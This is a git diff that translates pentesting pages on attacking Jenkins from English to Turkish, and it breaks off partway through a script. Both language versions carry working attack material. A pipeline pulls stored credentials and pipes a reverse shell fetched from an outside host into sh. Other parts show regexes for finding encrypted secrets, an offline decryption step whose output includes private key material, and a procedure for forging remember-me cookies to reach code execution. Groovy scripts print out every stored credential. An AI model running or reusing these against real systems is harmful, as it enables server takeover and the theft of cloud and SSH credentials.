gelir. -A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines. - -For more information check the basic information: +Daha fazla bilgi için temel bilgilere bakın: {{#ref}} basic-jenkins-information.md {{#endref}} -You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more: +**Yapılandırılmış düğümleri** `/computer/` içinde listeleyebilirsiniz, genellikle **`Yerleşik Düğüm`** (Jenkins'i çalıştıran düğüm) ve potansiyel olarak daha fazlasını bulacaksınız: ![](<../../images/image (249).png>) -It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information. - -To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config: +**Yerleşik düğümü ele geçirmek** özellikle ilginçtir çünkü hassas Jenkins bilgilerini içerir. +**Yerleşik Jenkins düğümünde** **pipeline'ı çalıştırmak** istediğinizi belirtmek için pipeline içinde aşağıdaki yapılandırmayı belirtebilirsiniz: ```bash pipeline { - agent {label 'built-in'} +agent {label 'built-in'} ``` +### Tam örnek -### Complete example - -Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell: - +Belirli bir ajan içindeki pipeline, bir cron tetikleyicisi ile, pipeline ve aşama ortam değişkenleri ile, bir adımda 2 değişken yükleyerek ve ters shell göndererek: ```bash pipeline { - agent {label 'built-in'} - triggers { cron('H */4 * * 1-5') } - environment { - GENERIC_ENV_VAR = "Test pipeline ENV variables." - } +agent {label 'built-in'} +triggers { cron('H */4 * * 1-5') } +environment { +GENERIC_ENV_VAR = "Test pipeline ENV variables." +} - stages { - stage("Build") { - environment { - STAGE_ENV_VAR = "Test stage ENV variables." - } - steps { - withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), - string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { - sh ''' - curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS - ''' - } - } - } +stages { +stage("Build") { +environment { +STAGE_ENV_VAR = "Test stage ENV variables." +} +steps { +withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), +string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { +sh ''' +curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS +''' +} +} +} - post { - always { - cleanWs() - } - } +post { +always { +cleanWs() +} +} } ``` - -## Arbitrary File Read to RCE +## Keyfi Okuma ile RCE {{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -326,43 +306,40 @@ jenkins-rce-creating-modifying-project.md jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Post Exploitation +## İstismar Sonrası ### Metasploit - ``` msf> post/multi/gather/jenkins_gather ``` +### Jenkins Gizli Anahtarları -### Jenkins Secrets +Yeterli izinleriniz varsa `/credentials/` erişerek gizli anahtarları listeleyebilirsiniz. Bunun yalnızca `credentials.xml` dosyasındaki gizli anahtarları listeleyeceğini unutmayın, ancak **build yapılandırma dosyaları** da **daha fazla gizli anahtar** içerebilir. -You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**. - -If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**. +Eğer **her projenin yapılandırmasını görebiliyorsanız**, orada **depo erişimi için kullanılan gizli anahtarların (gizli anahtarlar)** ve **projenin diğer gizli anahtarlarının** isimlerini de görebilirsiniz. ![](<../../images/image (180).png>) -#### From Groovy +#### Groovy'den {{#ref}} jenkins-dumping-secrets-from-groovy.md {{#endref}} -#### From disk +#### Diskten -These files are needed to **decrypt Jenkins secrets**: +Bu dosyalar **Jenkins gizli anahtarlarını şifre çözmek için** gereklidir: - secrets/master.key - secrets/hudson.util.Secret -Such **secrets can usually be found in**: +Böyle **gizli anahtarlar genellikle** şunlarda bulunabilir: - credentials.xml - jobs/.../build.xml - jobs/.../config.xml -Here's a regex to find them: - +Onları bulmak için bir regex: ```bash # Find the secrets grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" @@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` +#### Jenkins sırlarını çevrimdışı çöz -#### Decrypt Jenkins secrets offline - -If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**. - +Eğer **sırları çözmek için gerekli şifreleri dökümlediyseniz**, **bu scripti** kullanarak **o sırları çözebilirsiniz**. ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ``` - -#### Decrypt Jenkins secrets from Groovy - +#### Groovy'den Jenkins sırlarını çözme ```bash println(hudson.util.Secret.decrypt("{...}")) ``` +### Yeni admin kullanıcısı oluştur -### Create new admin user +1. `/var/lib/jenkins/config.xml` veya `C:\Program Files (x86)\Jenkis\` içindeki Jenkins config.xml dosyasına erişin. +2. `true` kelimesini arayın ve **`true`** kelimesini **`false`** olarak değiştirin. +1. `sed -i -e 's/truefalsetrue` olarak değiştirerek **güvenliği tekrar etkinleştirin** ve **Jenkins'i tekrar başlatın**. -1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\` -2. Search for the word `true`and change the word \*\*`true` \*\* to **`false`**. - 1. `sed -i -e 's/truefalsetrue` and **restart the Jenkins again**. - -## References +## Referanslar - [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins) - [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/) @@ -410,7 +382,3 @@ println(hudson.util.Secret.decrypt("{...}")) - [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index 6e62a8536..c4107c8d3 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -1,87 +1,87 @@ -# Basic Jenkins Information +# Temel Jenkins Bilgisi {{#include ../../banners/hacktricks-training.md}} -## Access +## Erişim -### Username + Password +### Kullanıcı Adı + Şifre -The most common way to login in Jenkins if with a username or a password +Jenkins'e giriş yapmanın en yaygın yolu bir kullanıcı adı veya şifre iledir. -### Cookie +### Çerez -If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen). +Eğer bir **yetkili çerez çalınırsa**, bu çerez kullanıcının oturumuna erişmek için kullanılabilir. Çerez genellikle `JSESSIONID.*` olarak adlandırılır. (Bir kullanıcı tüm oturumlarını sonlandırabilir, ancak önce bir çerezin çalındığını öğrenmesi gerekir). -### SSO/Plugins +### SSO/Eklentiler -Jenkins can be configured using plugins to be **accessible via third party SSO**. +Jenkins, **üçüncü taraf SSO aracılığıyla erişilebilir** olacak şekilde eklentiler kullanılarak yapılandırılabilir. -### Tokens +### Tokenlar -**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API. +**Kullanıcılar tokenlar oluşturabilir** ve uygulamalara kendilerini taklit etme izni verebilirler, bu CLI veya REST API aracılığıyla yapılabilir. -### SSH Keys +### SSH Anahtarları -This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/)) +Bu bileşen, Jenkins için yerleşik bir SSH sunucusu sağlar. Bu, [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/) için alternatif bir arayüzdür ve komutlar bu şekilde herhangi bir SSH istemcisi kullanılarak çağrılabilir. (Kaynak: [docs](https://plugins.jenkins.io/sshd/)) -## Authorization +## Yetkilendirme -In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options: +`/configureSecurity` içinde **Jenkins'in yetkilendirme yöntemini yapılandırmak** mümkündür. Birkaç seçenek vardır: -- **Anyone can do anything**: Even anonymous access can administrate the server -- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access. -- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**. -- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**. +- **Herkes her şeyi yapabilir**: Hatta anonim erişim sunucuyu yönetebilir. +- **Eski mod**: Jenkins <1.164 ile aynı. Eğer **"admin" rolüne** sahipseniz, sisteme **tam kontrol** verilecektir, aksi takdirde (dahil **anonim** kullanıcılar) **okuma** erişiminiz olacaktır. +- **Giriş yapmış kullanıcılar her şeyi yapabilir**: Bu modda, her **giriş yapmış kullanıcı Jenkins'in tam kontrolüne** sahiptir. Tam kontrolü olmayan tek kullanıcı **anonim kullanıcıdır**, yalnızca **okuma erişimi** alır. +- **Matris tabanlı güvenlik**: **Kimin ne yapabileceğini** bir tabloda yapılandırabilirsiniz. Her **sütun** bir **izin** temsil eder. Her **satır** bir **kullanıcı veya grup/rolü temsil eder.** Bu, **kimlik doğrulanmamış kullanıcıları** temsil eden özel bir kullanıcı '**anonim**' ve **tüm kimlik doğrulanmış kullanıcıları** temsil eden '**kimlik doğrulanmış**' içerir. ![](<../../images/image (149).png>) -- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.** -- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`. +- **Proje tabanlı Matris Yetkilendirme Stratejisi:** Bu mod, her proje için ayrı ayrı **ek ACL matrisinin tanımlanmasına** olanak tanıyan "**Matris tabanlı güvenlik**" için bir **uzantıdır.** +- **Rol Tabanlı Strateji:** **Rol tabanlı bir strateji** kullanarak yetkilendirmeleri tanımlamayı sağlar. Rolleri `/role-strategy` içinde yönetin. -## **Security Realm** +## **Güvenlik Alanı** -In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms: +`/configureSecurity` içinde **güvenlik alanını yapılandırmak** mümkündür. Varsayılan olarak Jenkins, birkaç farklı Güvenlik Alanı desteği içerir: -- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/). -- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default. -- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups. -- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization. +- **Servlet konteynerine devret**: **Jenkins denetleyicisini çalıştıran bir servlet konteynerine kimlik doğrulama devretmek için**, örneğin [Jetty](https://www.eclipse.org/jetty/). +- **Jenkins'in kendi kullanıcı veritabanı:** Dış bir sisteme devretmek yerine **Jenkins'in kendi yerleşik kullanıcı veri deposunu** kimlik doğrulama için kullanın. Bu varsayılan olarak etkindir. +- **LDAP**: Tüm kimlik doğrulamayı yapılandırılmış bir LDAP sunucusuna devredin, hem kullanıcıları hem de grupları içerir. +- **Unix kullanıcı/grup veritabanı**: **Kimlik doğrulamayı Jenkins denetleyicisindeki temel Unix** OS düzeyindeki kullanıcı veritabanına devreder. Bu mod, yetkilendirme için Unix gruplarının yeniden kullanılmasına da olanak tanır. -Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as: +Eklentiler, Jenkins'i mevcut kimlik sistemlerine entegre etmek için yararlı olabilecek ek güvenlik alanları sağlayabilir, örneğin: - [Active Directory](https://plugins.jenkins.io/active-directory) -- [GitHub Authentication](https://plugins.jenkins.io/github-oauth) +- [GitHub Kimlik Doğrulama](https://plugins.jenkins.io/github-oauth) - [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2) -## Jenkins Nodes, Agents & Executors +## Jenkins Düğümleri, Ajanlar & Yürütücüler -Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/): +[docs](https://www.jenkins.io/doc/book/managing/nodes/) tanımları: -**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold. +**Düğümler**, **inşa ajanlarının çalıştığı makineler**dir. Jenkins, her bağlı düğümü disk alanı, boş geçici alan, boş takas, saat zamanı/senkronizasyon ve yanıt süresi için izler. Bu değerlerden herhangi biri yapılandırılmış eşik değerinin dışına çıkarsa, bir düğüm çevrimdışı alınır. -**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine. +**Ajanlar**, **görev yürütmesini** Jenkins denetleyicisi adına **yürütücüler kullanarak yönetir**. Bir ajan, Java'yı destekleyen herhangi bir işletim sistemini kullanabilir. İnşa ve testler için gereken araçlar, ajanın çalıştığı düğümde kurulu olmalıdır; bunlar **doğrudan veya bir konteynerde** (Docker veya Kubernetes) kurulabilir. Her **ajan, ana makinede kendi PID'sine sahip bir süreçtir**. -An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time. +Bir **yürütücü**, **görevlerin yürütülmesi için bir yerdir**; etkili bir şekilde, bu **ajan içindeki bir ipliktir**. Bir düğümdeki **yürütücü sayısı**, o düğümde aynı anda yürütülebilecek **eşzamanlı görevlerin** sayısını tanımlar. Diğer bir deyişle, bu, o düğümde aynı anda yürütülebilecek **eşzamanlı Pipeline `aşamalarının`** sayısını belirler. -## Jenkins Secrets +## Jenkins Gizli Bilgileri -### Encryption of Secrets and Credentials +### Gizli Bilgilerin ve Kimlik Bilgilerinin Şifrelenmesi -Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include: +[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) tanımına göre: Jenkins, **gizli bilgileri**, kimlik bilgilerini ve bunların ilgili şifreleme anahtarlarını korumak için **AES kullanır**. Bu şifreleme anahtarları, belirtilen anahtarları korumak için kullanılan anahtar ile birlikte `$JENKINS_HOME/secrets/` dizininde saklanır. Bu dizin, yalnızca Jenkins denetleyicisinin çalıştığı işletim sistemi kullanıcısının bu dizine okuma ve yazma erişimine sahip olacak şekilde yapılandırılmalıdır (yani, `chmod` değeri `0700` veya uygun dosya nitelikleri kullanılarak). **Anahtar** (bazen kripto jargonunda "anahtar şifreleme anahtarı" olarak adlandırılır) **şifrelenmemiş olarak** Jenkins denetleyici dosya sisteminde **`$JENKINS_HOME/secrets/master.key`** içinde saklanır ve bu, o dosyaya doğrudan erişimi olan saldırganlara karşı koruma sağlamaz. Çoğu kullanıcı ve geliştirici, bu şifreleme anahtarlarını ya [Secret](https://javadoc.jenkins.io/byShortName/Secret) API'si aracılığıyla genel gizli veri şifrelemesi için ya da kimlik bilgileri API'si aracılığıyla dolaylı olarak kullanacaktır. Kripto meraklıları için, Jenkins, [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) örneklerini şifrelemek için PKCS#5 doldurma ve rastgele IV'ler ile CBC modunda AES kullanır ve bunlar `$JENKINS_HOME/secrets/` içinde `CryptoConfidentialKey` kimliğine karşılık gelen bir dosya adı ile saklanır. Yaygın anahtar kimlikleri şunları içerir: -- `hudson.util.Secret`: used for generic secrets; -- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types; -- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and +- `hudson.util.Secret`: genel gizli bilgiler için kullanılır; +- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: bazı kimlik bilgisi türleri için kullanılır; +- `jenkins.model.Jenkins.crumbSalt`: [CSRF koruma mekanizması](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) tarafından kullanılır; ve -### Credentials Access +### Kimlik Bilgilerine Erişim -Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job//configure`) and therefore only accessible from the specific project. +Kimlik bilgileri, herhangi bir yapılandırılmış proje tarafından erişilebilen **küresel sağlayıcılara** (`/credentials/`) **sınırlanabilir** veya **belirli projelere** (`/job//configure`) sınırlanabilir ve bu nedenle yalnızca belirli projeden erişilebilir. -According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials. +[**Belgeler**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) göre: Kapsamda olan kimlik bilgileri, sınırsız bir şekilde pipeline'a sunulur. **İnşa günlüğünde kazara ifşayı önlemek için**, kimlik bilgileri **normal çıktılardan maskelemektedir**, bu nedenle `env` (Linux) veya `set` (Windows) çağrısı veya ortamlarını veya parametrelerini yazdıran programlar, kimlik bilgilerine erişimi olmayan kullanıcılara **günlükte ifşa etmez**. -**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.** +**Bu nedenle, kimlik bilgilerini dışarıya çıkarmak için bir saldırganın, örneğin, bunları base64 yapması gerekir.** -## References +## Referanslar - [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/) - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) @@ -92,7 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 9d2b232e1..9219ad27a 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -2,108 +2,104 @@ {{#include ../../banners/hacktricks-training.md}} -In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) +Bu blog yazısında, Jenkins'teki Yerel Dosya Dahil Etme açığını RCE'ye dönüştürmenin harika bir yolunu bulmak mümkün: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) -This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own: +Bu, bir yerel dosya okuma açığını istismar ederek RCE elde etmek için keyfi bir çerezin oluşturulmasının kötüye kullanıldığı yazının bir kısmının AI tarafından oluşturulmuş özetidir; kendi özetimi oluşturacak zamanım olana kadar: -### Attack Prerequisites +### Saldırı Ön Koşulları -- **Feature Requirement:** "Remember me" must be enabled (default setting). -- **Access Levels:** Attacker needs Overall/Read permissions. -- **Secret Access:** Ability to read both binary and textual content from key files. +- **Özellik Gereksinimi:** "Beni hatırla" etkin olmalıdır (varsayılan ayar). +- **Erişim Düzeyleri:** Saldırganın Genel/Okuma izinlerine ihtiyacı vardır. +- **Gizli Erişim:** Anahtar dosyalardan hem ikili hem de metin içeriğini okuma yeteneği. -### Detailed Exploitation Process +### Ayrıntılı İstismar Süreci -#### Step 1: Data Collection +#### Adım 1: Veri Toplama -**User Information Retrieval** +**Kullanıcı Bilgisi Alma** -- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather: - - **Username** - - **User seed** - - **Timestamp** - - **Password hash** +- Her kullanıcı için `$JENKINS_HOME/users/*.xml` dosyasından kullanıcı yapılandırması ve gizli bilgileri erişerek toplayın: +- **Kullanıcı Adı** +- **Kullanıcı tohum** +- **Zaman damgası** +- **Şifre hash'i** -**Secret Key Extraction** +**Gizli Anahtar Çıkartma** -- Extract cryptographic keys used for signing the cookie: - - **Secret Key:** `$JENKINS_HOME/secret.key` - - **Master Key:** `$JENKINS_HOME/secrets/master.key` - - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` +- Çerezi imzalamak için kullanılan kriptografik anahtarları çıkartın: +- **Gizli Anahtar:** `$JENKINS_HOME/secret.key` +- **Anahtar:** `$JENKINS_HOME/secrets/master.key` +- **MAC Anahtar Dosyası:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` -#### Step 2: Cookie Forging +#### Adım 2: Çerez Sahteciliği -**Token Preparation** +**Token Hazırlığı** -- **Calculate Token Expiry Time:** +- **Token Süre Sonu Zamanını Hesaplayın:** - ```javascript - tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time - ``` +```javascript +tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Mevcut zamana bir saat ekler +``` -- **Concatenate Data for Token:** +- **Token için Verileri Birleştirin:** - ```javascript - token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey - ``` +```javascript +token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey +``` -**MAC Key Decryption** +**MAC Anahtarının Şifre Çözümü** -- **Decrypt MAC Key File:** +- **MAC Anahtar Dosyasını Şifre Çözün:** - ```javascript - key = toAes128Key(masterKey) // Convert master key to AES128 key format - decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file - if not decrypted.hasSuffix("::::MAGIC::::") - return ERROR; - macKey = decrypted.withoutSuffix("::::MAGIC::::") - ``` +```javascript +key = toAes128Key(masterKey) // Anahtarın AES128 anahtar formatına dönüştürülmesi +decrypted = AES.decrypt(macFile, key) // .mac dosyasının şifre çözümü +if not decrypted.hasSuffix("::::MAGIC::::") +return ERROR; +macKey = decrypted.withoutSuffix("::::MAGIC::::") +``` -**Signature Computation** +**İmza Hesaplama** -- **Compute HMAC SHA256:** +- **HMAC SHA256 Hesaplayın:** - ```javascript - mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key - tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string - ``` +```javascript +mac = HmacSHA256(token, macKey) // Token ve MAC anahtarı kullanarak HMAC hesaplama +tokenSignature = bytesToHexString(mac) // MAC'i onaltılık dizeye dönüştürme +``` -**Cookie Encoding** +**Çerez Kodlama** -- **Generate Final Cookie:** +- **Son Çerezi Oluşturun:** - ```javascript - cookie = base64.encode( - username + ":" + tokenExpiryTime + ":" + tokenSignature - ) // Base64 encode the cookie data - ``` +```javascript +cookie = base64.encode( +username + ":" + tokenExpiryTime + ":" + tokenSignature +) // Çerez verilerini Base64 ile kodlama +``` -#### Step 3: Code Execution +#### Adım 3: Kod Çalıştırma -**Session Authentication** +**Oturum Kimlik Doğrulaması** -- **Fetch CSRF and Session Tokens:** - - Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`. - - Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie. +- **CSRF ve Oturum Token'larını Alın:** +- `/crumbIssuer/api/json` adresine bir istek yaparak `Jenkins-Crumb` alın. +- Yanıttan `JSESSIONID`'yi yakalayın, bu `remember-me` çerezi ile birlikte kullanılacaktır. -**Command Execution Request** +**Komut Çalıştırma İsteği** -- **Send a POST Request with Groovy Script:** +- **Groovy Script ile POST İsteği Gönderin:** - ```bash - curl -X POST "$JENKINS_URL/scriptText" \ - --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \ - --header "Jenkins-Crumb: $CRUMB" \ - --header "Content-Type: application/x-www-form-urlencoded" \ - --data-urlencode "script=$SCRIPT" - ``` +```bash +curl -X POST "$JENKINS_URL/scriptText" \ +--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \ +--header "Jenkins-Crumb: $CRUMB" \ +--header "Content-Type: application/x-www-form-urlencoded" \ +--data-urlencode "script=$SCRIPT" +``` - - Groovy script can be used to execute system-level commands or other operations within the Jenkins environment. +- Groovy script, sistem düzeyinde komutları veya Jenkins ortamında diğer işlemleri çalıştırmak için kullanılabilir. -The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely. +Verilen örnek curl komutu, gerekli başlıklar ve çerezlerle Jenkins'e istek yapmanın nasıl yapılacağını gösterir ve keyfi kodu güvenli bir şekilde çalıştırır. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index 8699b8159..a52ba59b4 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -3,10 +3,9 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**. - -You can **dump all the secrets from the Groovy Script console** in `/script` running this code +> Bu scriptlerin yalnızca `credentials.xml` dosyasındaki gizli bilgileri listeleyeceğini unutmayın, ancak **build yapılandırma dosyaları** da **daha fazla kimlik bilgisi** içerebilir. +`/script` içindeki Groovy Script konsolundan **tüm gizli bilgileri dökebilirsiniz** bu kodu çalıştırarak ```java // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/ import jenkins.model.* @@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '') return ``` - -#### or this one: - +#### ya da bu: ```java import java.nio.charset.StandardCharsets; def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials( - com.cloudbees.plugins.credentials.Credentials.class +com.cloudbees.plugins.credentials.Credentials.class ) for (c in creds) { - println(c.id) - if (c.properties.description) { - println(" description: " + c.description) - } - if (c.properties.username) { - println(" username: " + c.username) - } - if (c.properties.password) { - println(" password: " + c.password) - } - if (c.properties.passphrase) { - println(" passphrase: " + c.passphrase) - } - if (c.properties.secret) { - println(" secret: " + c.secret) - } - if (c.properties.secretBytes) { - println(" secretBytes: ") - println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8)) - println("") - } - if (c.properties.privateKeySource) { - println(" privateKey: " + c.getPrivateKey()) - } - if (c.properties.apiToken) { - println(" apiToken: " + c.apiToken) - } - if (c.properties.token) { - println(" token: " + c.token) - } - println("") +println(c.id) +if (c.properties.description) { +println(" description: " + c.description) +} +if (c.properties.username) { +println(" username: " + c.username) +} +if (c.properties.password) { +println(" password: " + c.password) +} +if (c.properties.passphrase) { +println(" passphrase: " + c.passphrase) +} +if (c.properties.secret) { +println(" secret: " + c.secret) +} +if (c.properties.secretBytes) { +println(" secretBytes: ") +println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8)) +println("") +} +if (c.properties.privateKeySource) { +println(" privateKey: " + c.getPrivateKey()) +} +if 